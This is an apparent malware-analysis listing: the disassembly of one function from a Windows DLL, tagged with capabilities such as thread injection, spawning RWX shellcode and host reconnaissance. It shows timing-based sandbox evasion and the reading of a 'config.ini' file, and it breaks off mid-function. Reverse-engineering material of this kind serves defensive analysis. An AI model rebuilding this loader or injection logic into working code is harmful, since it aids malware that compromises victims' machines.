Function at 0x18000e2a0
Capabilities:
Create thread
Execute shellcode via indirect call
Get common file path
Get hostname
Get memory capacity
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x330], xmm6
mov qword [rbp + 0x328], 0xfffffffffffffffe
cmp edx, 1
jne 0x180010122
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x18000e200]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180018d00
mov rsi, rax
call fcn.180018ce4
cmp rsi, 0x989680
jne 0x18000e317
imul rsi, rax, 0x64
jmp 0x18000e35b
mov rcx, rax
or rcx, rsi
shr rcx, 0x20
je 0x18000e32a
cqo
idiv rsi
jmp 0x18000e32e
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x18000e352
cqo
idiv rsi
mov rsi, rax
jmp 0x18000e358
xor edx, edx
div esi
mov esi, eax
add rsi, rcx
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, rax
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.180018d00
mov rdi, rax
call fcn.180018ce4
cmp rdi, 0x989680
jne 0x18000e398
imul rax, rax, 0x64
jmp 0x18000e3d7
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x18000e3ab
cqo
idiv rdi
jmp 0x18000e3af
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x18000e3d0
cqo
idiv rdi
jmp 0x18000e3d4
xor edx, edx
div edi
add rax, rcx
sub rax, rsi
movabs rcx, 0x2540be400
cmp rax, rcx
jle 0x180010212
lea rsi, [rbp - 0x30]
mov ecx, 0x100
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x250], xmm0
mov rcx, rsi
call fcn.180025f00
test rax, rax
js 0x180010228
mov rsi, rax
cmp rax, 0xf
ja 0x18000e459
mov qword [rbp + 0x250], rsi
mov qword [rbp + 0x258], 0xf
lea rcx, [rbp + 0x240]
lea rdx, [rbp - 0x30]
mov r8, rsi
call fcn.180010ec0
mov byte [rbp + rsi + 0x240], 0
jmp 0x18000e4c0
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rax, 0xfff
jb 0x18000e48c
lea rcx, [rbx + 0x28]
call fcn.180018f70
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000e498
lea rcx, [rbx + 1]
call fcn.180018f70
mov rdi, rax
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x250], rsi
mov qword [rbp + 0x258], rbx
lea rdx, [rbp - 0x30]
mov rcx, rdi
mov r8, rsi
call fcn.180010ec0
mov byte [rdi + rsi], 0
mov qword [rbp + 0x270], 0
mov cl, 1
call fcn.180017d6c
mov qword [rbp + 0x290], rax
lea rcx, [rbp + 0x210]
xor edx, edx
call fcn.180017978
mov rsi, qword [0x180059b28]
mov rdi, qword [0x180059b00]
test rdi, rdi
jne 0x18000e536
lea rcx, [rbp - 0x30]
xor edx, edx
call fcn.180017978
cmp qword [0x180059b00], 0
jne 0x18000e526
movsxd rax, dword [0x180057b10]
inc rax
mov dword [0x180057b10], eax
mov qword [0x180059b00], rax
lea rcx, [rbp - 0x30]
call fcn.1800179b4
mov rdi, qword [0x180059b00]
mov rax, qword [rbp + 0x290]
cmp qword [rax + 0x18], rdi
jbe 0x18000e554
mov rcx, qword [rax + 0x10]
mov r14, qword [rcx + rdi*8]
test r14, r14
jne 0x18000e76d
cmp byte [rax + 0x24], 0
je 0x18000e576
call fcn.180017e60
cmp qword [rax + 0x18], rdi
jbe 0x18000e576
mov rax, qword [rax + 0x10]
mov r14, qword [rax + rdi*8]
test r14, r14
jne 0x18000e76d
mov r14, rsi
test rsi, rsi
jne 0x18000e76d
mov ecx, 0x20
call fcn.180018f70
mov rbx, rax
mov rsi, qword [rbp + 0x290]
test rsi, rsi
mov qword [rbp + 0x318], rax
je 0x18000e629
mov rax, qword [rsi + 0x28]
add rsi, 0x30
test rax, rax
cmovne rsi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2b0], xmm0
movaps xmmword [rbp + 0x2a0], xmm0
mov rcx, rsi
call fcn.180025f00
test rax, rax
js 0x18001034c
mov rdi, rax
cmp rax, 0x10
jae 0x18000e652
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2b8], 0xf
lea rbx, [rbp + 0x2a0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.180010ec0
mov byte [rbp + rdi + 0x2a0], 0
cmp qword [rbp + 0x2b8], 0x10
jb 0x18000e6bc
mov rbx, qword [rbp + 0x2a0]
jmp 0x18000e6bc
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], 0xf
lea rbx, [rbp + 0x2a0]
jmp 0x18000e6bc
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp rax, 0xfff
jb 0x18000e689
lea rcx, [r14 + 0x28]
call fcn.180018f70
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000e695
lea rcx, [r14 + 1]
call fcn.180018f70
mov rbx, rax
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2b8], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.180010ec0
mov byte [rbx + rdi], 0
lea rcx, [rbp - 0x30]
mov rdx, rbx
call fcn.180006c60
mov rsi, qword [rbp + 0x318]
mov dword [rsi + 8], 0
lea rax, vtable.std::collate_char_.0
mov qword [rsi], rax
lea rcx, [rbp + 0x2f0]
call fcn.180018abc
mov eax, dword [rbp + 0x2f0]
mov dword [rsi + 0x10], eax
mov rax, qword [rbp + 0x2f8]
mov qword [rsi + 0x18], rax
lea rcx, [rbp - 0x30]
call fcn.180006dc0
mov rax, qword [rbp + 0x2b8]
cmp rax, 0x10
jb 0x18000e74e
mov rcx, qword [rbp + 0x2a0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000e749
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180010223
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180018fb4
mov rcx, rsi
call fcn.180017a68
mov r14, qword [rbp + 0x318]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov qword [0x180059b28], r14
lea rbx, [rbp + 0x278]
lea rsi, [rbp + 0x288]
lea rcx, [rbp + 0x210]
call fcn.1800179b4
mov qword [rbx], r14
mov rcx, rsi
call fcn.180005270
mov qword [rbp + 0x280], rax
lea rax, str.C:_A_Za_z0_9__
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, [0x18004c7a8]
mov qword [rbp - 0x20], rax
xorps xmm6, xmm6
movups xmmword [rbp - 0x18], xmm6
movups xmmword [rbp - 8], xmm6
mov qword [rbp + 8], 0
mov ecx, 0x30
call fcn.180018f70
mov dword [rax + 8], 0x14
movups xmmword [rax + 0xc], xmm6
mov dword [rax + 0x1c], 0
lea rcx, vtable.std::_Root_node.0
mov qword [rax], rcx
mov qword [rax + 0x24], 0
mov dword [rax + 0x2c], 0
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x20], 1
mov qword [rbp + 0x28], rbx
movabs rax, 0x400000100
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rbx
mov dword [rbp + 0x40], 1
mov dword [rbp + 0x50], 0x8775dfb
lea rcx, [rbp - 0x30]
call fcn.180008870
mov ecx, 0x28
call fcn.180018f70
mov rsi, rax
mov dword [rax + 8], 0xd
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_capture.0
mov qword [rsi], rax
mov dword [rsi + 0x20], 0
mov rax, qword [rbp + 0x18]
mov qword [rsi + 0x18], rax
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x18000e884
mov qword [rsi + 0x10], rcx
mov qword [rcx + 0x18], rsi
mov qword [rax + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rcx, [rbp - 0x30]
call fcn.180008ab0
mov rax, qword [rbp - 0x30]
cmp rax, qword [rbp - 0x20]
jne 0x18001022d
mov eax, dword [rsi + 8]
cmp eax, 8
je 0x18000e8bd
cmp eax, 0xa
je 0x18000e8b5
cmp eax, 0xb
jne 0x18000e8c5
mov r14d, 0xc
jmp 0x18000e8cb
mov r14d, 9
jmp 0x18000e8cb
mov r14d, 0xe
mov ecx, 0x28
call fcn.180018f70
mov rdi, rax
mov dword [rax + 8], r14d
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_end_group.0
mov qword [rdi], rax
mov qword [rdi + 0x20], rsi
mov rax, qword [rbp + 0x18]
mov qword [rdi + 0x18], rax
mov rsi, qword [rax + 0x10]
test rsi, rsi
je 0x18000e912
mov qword [rdi + 0x10], rsi
mov qword [rsi + 0x18], rdi
mov qword [rax + 0x10], rdi
mov qword [rbp + 0x18], rdi
mov ecx, 0x20
call fcn.180018f70
lea rcx, vtable.std::_Node_base.0
mov qword [rax], rcx
mov dword [rax + 8], 0x15
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov qword [rax + 0x18], rdi
test rsi, rsi
je 0x18000e955
mov qword [rax + 0x10], rsi
mov qword [rsi + 0x18], rax
mov qword [rdi + 0x10], rax
mov qword [rbp + 0x18], rax
lea r13, [rbp + 0x10]
mov rsi, qword [r13]
mov eax, dword [rbp + 0x40]
mov dword [rsi + 0x20], eax
mov eax, dword [rbp - 0x18]
inc eax
mov dword [rsi + 0x28], eax
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.180008e10
lock inc dword [rsi + 0x2c]
mov rax, qword [rbp + 0x270]
test rax, rax
je 0x18000e9ce
lock dec dword [rax + 0x2c]
jne 0x18000e9ce
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x18000e9ce
nop word cs:[rax + rax]
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rdi
test rdi, rdi
jne 0x18000e9b0
mov qword [rbp + 0x270], rsi
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x18000ea16
mov rdx, qword [rbp]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000ea0a
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x180010223
add rdx, 0x27
mov rcx, rax
call fcn.180018fb4
mov rsi, qword [rbp + 0x270]
test rsi, rsi
je 0x18000ecdf
cmp qword [rbp + 0x258], 0x10
jb 0x18000ea32
mov rax, qword [rbp + 0x240]
jmp 0x18000ea39
lea rax, [rbp + 0x240]
mov rcx, qword [rbp + 0x250]
add rcx, rax
mov r8d, dword [rsi + 0x20]
mov edx, dword [rsi + 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp + 8], 0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], rsi
mov dword [rbp + 0x88], r8d
mov dword [rbp + 0x8c], 0x10
mov byte [rbp + 0x90], 0
mov dword [rbp + 0x94], edx
mov byte [rbp + 0x98], 0
mov qword [rbp + 0xa0], rbx
mov esi, dword [rsi + 0x24]
test rsi, rsi
je 0x18000eb65
mov eax, esi
shl rsi, 4
cmp eax, 0x100
jb 0x18000eae3
lea rcx, [rsi + 0x27]
call fcn.180018f70
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000eaee
mov rcx, rsi
call fcn.180018f70
mov rdi, rax
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.180010f90
mov r8, qword [rbp + 0x58]
lea r14, [rbp + 0x50]
mov rbx, qword [r14]
sub r8, rbx
mov rcx, rdi
mov rdx, rbx
call fcn.18001bb60
test rbx, rbx
je 0x18000eb4d
mov rdx, qword [rbp + 0x60]
sub rdx, rbx
cmp rdx, 0x1000
jb 0x18000eb45
mov rax, qword [rbx - 8]
add rbx, 0xfffffffffffffff8
sub rbx, rax
cmp rbx, 0x20
jae 0x180010223
add rdx, 0x27
mov rbx, rax
mov rcx, rbx
call fcn.180018fb4
mov qword [r14], rdi
add rsi, rdi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rsi
mov rax, qword [rbp + 0x78]
mov edx, dword [rbp + 0x94]
lea rcx, [rbp - 0x28]
mov qword [rbp + 0x68], rax
mov qword [rbp - 0x30], rax
mov edx, edx
call fcn.180009010
mov r15d, dword [rbp + 0x94]
mov rax, qword [rbp - 8]
mov rsi, qword [rbp]
mov r14, rsi
sub r14, rax
sar r14, 4
mov rdi, r15
sub rdi, r14
jae 0x18000eba9
shl r15, 4
add rax, r15
mov qword [rbp], rax
jmp 0x18000ec9b
jbe 0x18000ec9b
mov rcx, qword [rbp + 8]
sub rcx, rax
sar rcx, 4
cmp rcx, r15
jae 0x18000ebf8
mov rax, rcx
shr rax, 1
add rax, rcx
cmp rax, r15
cmovbe rax, r15
mov rsi, rax
shl rsi, 4
cmp rax, 0x100
jb 0x18000ec15
lea rcx, [rsi + 0x27]
call fcn.180018f70
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000ec20
shl rdi, 4
mov rcx, rsi
xor edx, edx
mov r8, rdi
call fcn.180010f90
add rdi, rsi
mov qword [rbp], rdi
jmp 0x18000ec9b
mov rcx, rsi
call fcn.180018f70
mov rbx, rax
shl r14, 4
add r14, rbx
shl rdi, 4
mov rcx, r14
xor edx, edx
mov r8, rdi
call fcn.180010f90
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
sub r8, rdx
mov rcx, rbx
call fcn.18001bb60
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x18000ec85
mov rdx, qword [rbp + 8]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000ec80
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x180010223
add rdx, 0x27
mov rcx, rax
call fcn.180018fb4
mov qword [rbp - 8], rbx
shl r15, 4
add r15, rbx
mov qword [rbp], r15
add rsi, rbx
mov qword [rbp + 8], rsi
mov byte [rbp + 0xa8], 1
movabs rax, 0x25800989680
mov qword [rbp + 0xac], rax
mov word [rbp + 0x90], 0
mov rdx, qword [rbp + 0x80]
lea rcx, [rbp - 0x30]
call fcn.180009380
mov ebx, eax
lea rcx, [rbp - 0x30]
call fcn.180009f00
test bl, bl
jne 0x180010212
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x220], 0xa
mov qword [rbp + 0x228], 0xf
movabs rax, 0x692e6769666e6f63
mov qword [rbp + 0x210], rax
mov word [rbp + 0x218], 0x696e
lea rax, [0x180048780]
mov qword [rbp - 0x30], rax
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x7c], 0x98
mov qword [rbp - 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov dword [rbp + 0x98], 0x201
mov qword [rbp + 0xa0], 6
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
mov ecx, 0x10
call fcn.180018f70
mov rsi, rax
mov cl, 1
call fcn.180017d6c
lea rcx, [rbp - 0x20]
mov qword [rsi + 8], rax
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rcx
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0x2a8], rax
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 8]
lea rcx, [rbp + 0x2a0]
call fcn.180005270
mov r8, qword [rax]
mov rcx, rax
mov dl, 0x20
call qword [r8 + 0x40]
mov ebx, eax
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x18000edf3
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000edf3
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov byte [rbp + 0xd8], bl
cmp qword [rbp + 0xc8], 0
jne 0x18000ee23
mov ecx, dword [rbp + 0x90]
mov eax, dword [rbp + 0x94]
and ecx, 0x13
or ecx, 4
mov dword [rbp + 0x90], ecx
and ecx, eax
jne 0x180010237
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x30], rcx
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x34], ecx
lea rax, vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x20], rax
mov ecx, 0x10
call fcn.180018f70
mov rsi, rax
mov cl, 1
call fcn.180017d6c
mov qword [rsi + 8], rax
mov qword [rbp + 0x40], rsi
lea rdi, [rbp - 0x18]
lea r12, [rbp - 0x10]
lea rbx, [rbp + 8]
lea r14, [rbp + 0x28]
lea r15, [rbp + 0x2c]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x20], rax
mov byte [rbp + 0x5c], 0
mov byte [rbp + 0x51], 0
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x60], 0
mov rax, qword [0x180059b08]
mov qword [rbp + 0x54], rax
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x210]
mov edx, 1
mov r8d, 0x40
call fcn.180017f0c
test rax, rax
je 0x18000efef
mov byte [rbp + 0x5c], 1
mov byte [rbp + 0x51], 0
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rbx], xmm0
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2f0], 0
mov qword [rbp + 0x260], 0
lea rdx, [rbp + 0x2a0]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x260]
mov rcx, rax
mov rsi, rax
call fcn.18001d188
mov rax, qword [rbp + 0x260]
mov rcx, qword [rbp + 0x2f0]
mov rdx, qword [rbp + 0x2a0]
mov qword [rbp - 8], rdx
mov qword [rbp], rdx
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x60], rsi
mov rax, qword [0x180059b08]
mov qword [rbp + 0x54], rax
mov qword [rbp + 0x48], 0
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x2a8], rcx
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rbp + 0x2a0]
call fcn.1800058f0
mov rsi, rax
mov rax, qword [rax]
mov rcx, rsi
call qword [rax + 0x18]
test al, al
je 0x18000f080
xor esi, esi
jmp 0x18000f0a9
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
xor r8d, r8d
cmp qword [rbp + rdx + 0x18], 0
sete r8b
shl r8d, 2
mov eax, dword [rbp + rdx - 0x20]
mov ecx, dword [rbp + rdx - 0x1c]
and eax, 0x15
or eax, r8d
or eax, 2
mov dword [rbp + rdx - 0x20], eax
and eax, ecx
je 0x18000f0d2
test cl, 2
lea rcx, [0x18004b73a]
lea rdx, [0x18004b724]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004b74f]
cmove rsi, rdx
lea rdi, [rbp + 0x2f0]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rbx], xmm0
mov qword [rbp + 0x48], rsi
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x18000f0d2
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000f0d2
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
cmp qword [rbp + 0x60], 0
je 0x18000f4c5
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], 0
mov qword [rbp + 0x308], 0xf
nop dword [rax]
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov rax, qword [rbp + rax + 0x10]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x2a8], rcx
mov rax, qword [rcx]
call qword [rax + 8]
lea rcx, [rbp + 0x2a0]
call fcn.180005270
mov r8, qword [rax]
mov rcx, rax
mov dl, 0xa
call qword [r8 + 0x40]
mov ebx, eax
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x18000f15d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000f15d
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov rdx, qword [rbp - 0x30]
movsxd rax, dword [rdx + 4]
mov rcx, qword [rbp + rax + 0x18]
test rcx, rcx
je 0x18000f17d
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rbp - 0x30]
movsxd rax, dword [rdx + 4]
mov ecx, dword [rbp + rax - 0x20]
test ecx, ecx
je 0x18000f1b0
xor edx, edx
cmp qword [rbp + rax + 0x18], 0
sete dl
shl edx, 2
and ecx, 0x15
or ecx, edx
or ecx, 2
mov dword [rbp + rax - 0x20], ecx
mov eax, dword [rbp + rax - 0x1c]
and ecx, eax
jne 0x1800101b7
xor esi, esi
jmp 0x18000f1d0
mov rcx, qword [rbp + rax + 0x20]
test rcx, rcx
je 0x18000f1c3
call fcn.180005bb0
mov rdx, qword [rbp - 0x30]
movsxd rax, dword [rdx + 4]
xor esi, esi
cmp dword [rbp + rax - 0x20], 0
je 0x18000f241
or esi, 2
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
or esi, dword [rbp + rax - 0x20]
xor ecx, ecx
cmp qword [rbp + rax + 0x18], 0
sete cl
shl ecx, 2
and esi, 0x17
or esi, ecx
mov dword [rbp + rax - 0x20], esi
and esi, dword [rbp + rax - 0x1c]
jne 0x180010159
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax + 0x18]
test rcx, rcx
je 0x18000f220
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x20], 6
jne 0x18000f433
lea rcx, [rbp + 0x2f0]
call fcn.180006040
call fcn.1800063c0
jmp 0x18000f100
cmp qword [rbp + 0x308], 0x10
lea rax, [rbp + 0x2f0]
jb 0x18000f259
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x300], 0
mov byte [rax], 0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax + 0x18]
mov rax, qword [rcx + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x18000f28e
mov rdx, qword [rcx + 0x50]
cmp dword [rdx], 0
jle 0x18000f28e
movzx eax, byte [rax]
jmp 0x18000f29e
mov rax, qword [rcx]
mov rax, qword [rax + 0x30]
mov byte [rbp + 0x327], 0
call rax
movzx edi, bl
xor ebx, ebx
jmp 0x18000f2c3
dec r8d
mov dword [rdx], r8d
lea rdx, [rcx + 1]
mov qword [rax], rdx
movzx eax, byte [rcx + 1]
mov bl, 1
cmp eax, 0xffffffff
je 0x18000f3aa
cmp eax, edi
je 0x18000f3bc
movabs rcx, 0x7ffffffffffffffe
cmp qword [rbp + 0x300], rcx
ja 0x18000f3f4
mov byte [rbp + 0x327], bl
lea rcx, [rbp + 0x2f0]
mov edx, eax
call fcn.180005df0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov rsi, qword [rbp + rax + 0x18]
mov rax, qword [rsi + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000f340
mov rdx, qword [rsi + 0x50]
mov r8d, dword [rdx]
cmp r8d, 2
jge 0x18000f2b0
cmp r8d, 1
jne 0x18000f340
mov dword [rdx], 0
inc rcx
mov qword [rax], rcx
jmp 0x18000f390
mov rax, qword [rsi]
mov rax, qword [rax + 0x38]
mov byte [rbp + 0x327], 1
mov rcx, rsi
call rax
mov ecx, eax
mov bl, 1
mov eax, 0xffffffff
cmp ecx, 0xffffffff
je 0x18000f2c3
mov rax, qword [rsi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x18000f390
mov rcx, qword [rsi + 0x50]
cmp dword [rcx], 0
jle 0x18000f390
movzx eax, byte [rax]
jmp 0x18000f2c3
mov rax, qword [rsi]
mov rax, qword [rax + 0x30]
mov byte [rbp + 0x327], 1
mov bl, 1
mov rcx, rsi
call rax
jmp 0x18000f2c3
mov esi, 1
test bl, bl
jne 0x18000f1d3
jmp 0x18000f1d0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + rax + 0x18]
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x18000f406
mov r8, qword [rcx + 0x50]
mov r9d, dword [r8]
test r9d, r9d
jle 0x18000f406
dec r9d
mov dword [r8], r9d
inc rdx
mov qword [rax], rdx
xor esi, esi
jmp 0x18000f1d3
mov esi, 2
test bl, bl
jne 0x18000f1d3
jmp 0x18000f1d0
mov rax, qword [rcx]
mov rax, qword [rax + 0x38]
mov byte [rbp + 0x327], 1
xor esi, esi
call rax
jmp 0x18000f1d3
lea rcx, [rbp - 0x20]
call fcn.1800066a0
test rax, rax
jne 0x18000f477
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
xor r8d, r8d
cmp qword [rbp + rdx + 0x18], 0
sete r8b
shl r8d, 2
mov eax, dword [rbp + rdx - 0x20]
mov ecx, dword [rbp + rdx - 0x1c]
and eax, 0x15
or eax, r8d
or eax, 2
mov dword [rbp + rdx - 0x20], eax
and eax, ecx
jne 0x1800102f1
mov rax, qword [rbp + 0x308]
cmp rax, 0x10
jb 0x18000f71d
mov rcx, qword [rbp + 0x2f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000f4bb
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180010223
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180018fb4
jmp 0x18000f71d
lea rbx, [0x180057c00]
mov rax, qword [0x180057c00]
mov eax, dword [rax + 4]
movsxd rdx, eax
mov r8, qword [rdx + rbx + 0x28]
mov rcx, qword [rdx + rbx + 0x48]
lea rdi, [r8 - 0x15]
xor esi, esi
cmp r8, 0x16
cmovge rsi, rdi
mov qword [rbp + 0x260], rbx
test rcx, rcx
je 0x18000f510
mov rax, qword [rcx]
call qword [rax + 8]
mov rax, qword [0x180057c00]
mov eax, dword [rax + 4]
movsxd rdx, eax
cmp dword [rdx + rbx + 0x10], 0
je 0x18000f52d
mov byte [rbp + 0x268], 0
mov dword [rbp + 0x318], 4
jmp 0x18000f6bd
mov rcx, qword [rdx + rbx + 0x50]
test rcx, rcx
je 0x18000f56a
cmp rcx, rbx
je 0x18000f56a
call fcn.180005bb0
mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
cmp dword [rax + rbx + 0x10], 0
sete byte [rbp + 0x268]
mov dword [rbp + 0x318], 4
jne 0x18000f6bd
jmp 0x18000f573
mov byte [rbp + 0x268], 1
cdqe
mov ecx, 0x1c0
lea r11, [0x180057c00]
and ecx, dword [rax + r11 + 0x18]
cmp ecx, 0x40
je 0x18000f602
test rsi, rsi
jg 0x18000f5ad
jmp 0x18000f602
dec r10d
mov dword [r9], r10d
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], al
lea rax, [rdi - 1]
cmp rdi, 1
mov rdi, rax
jle 0x18000f5f5
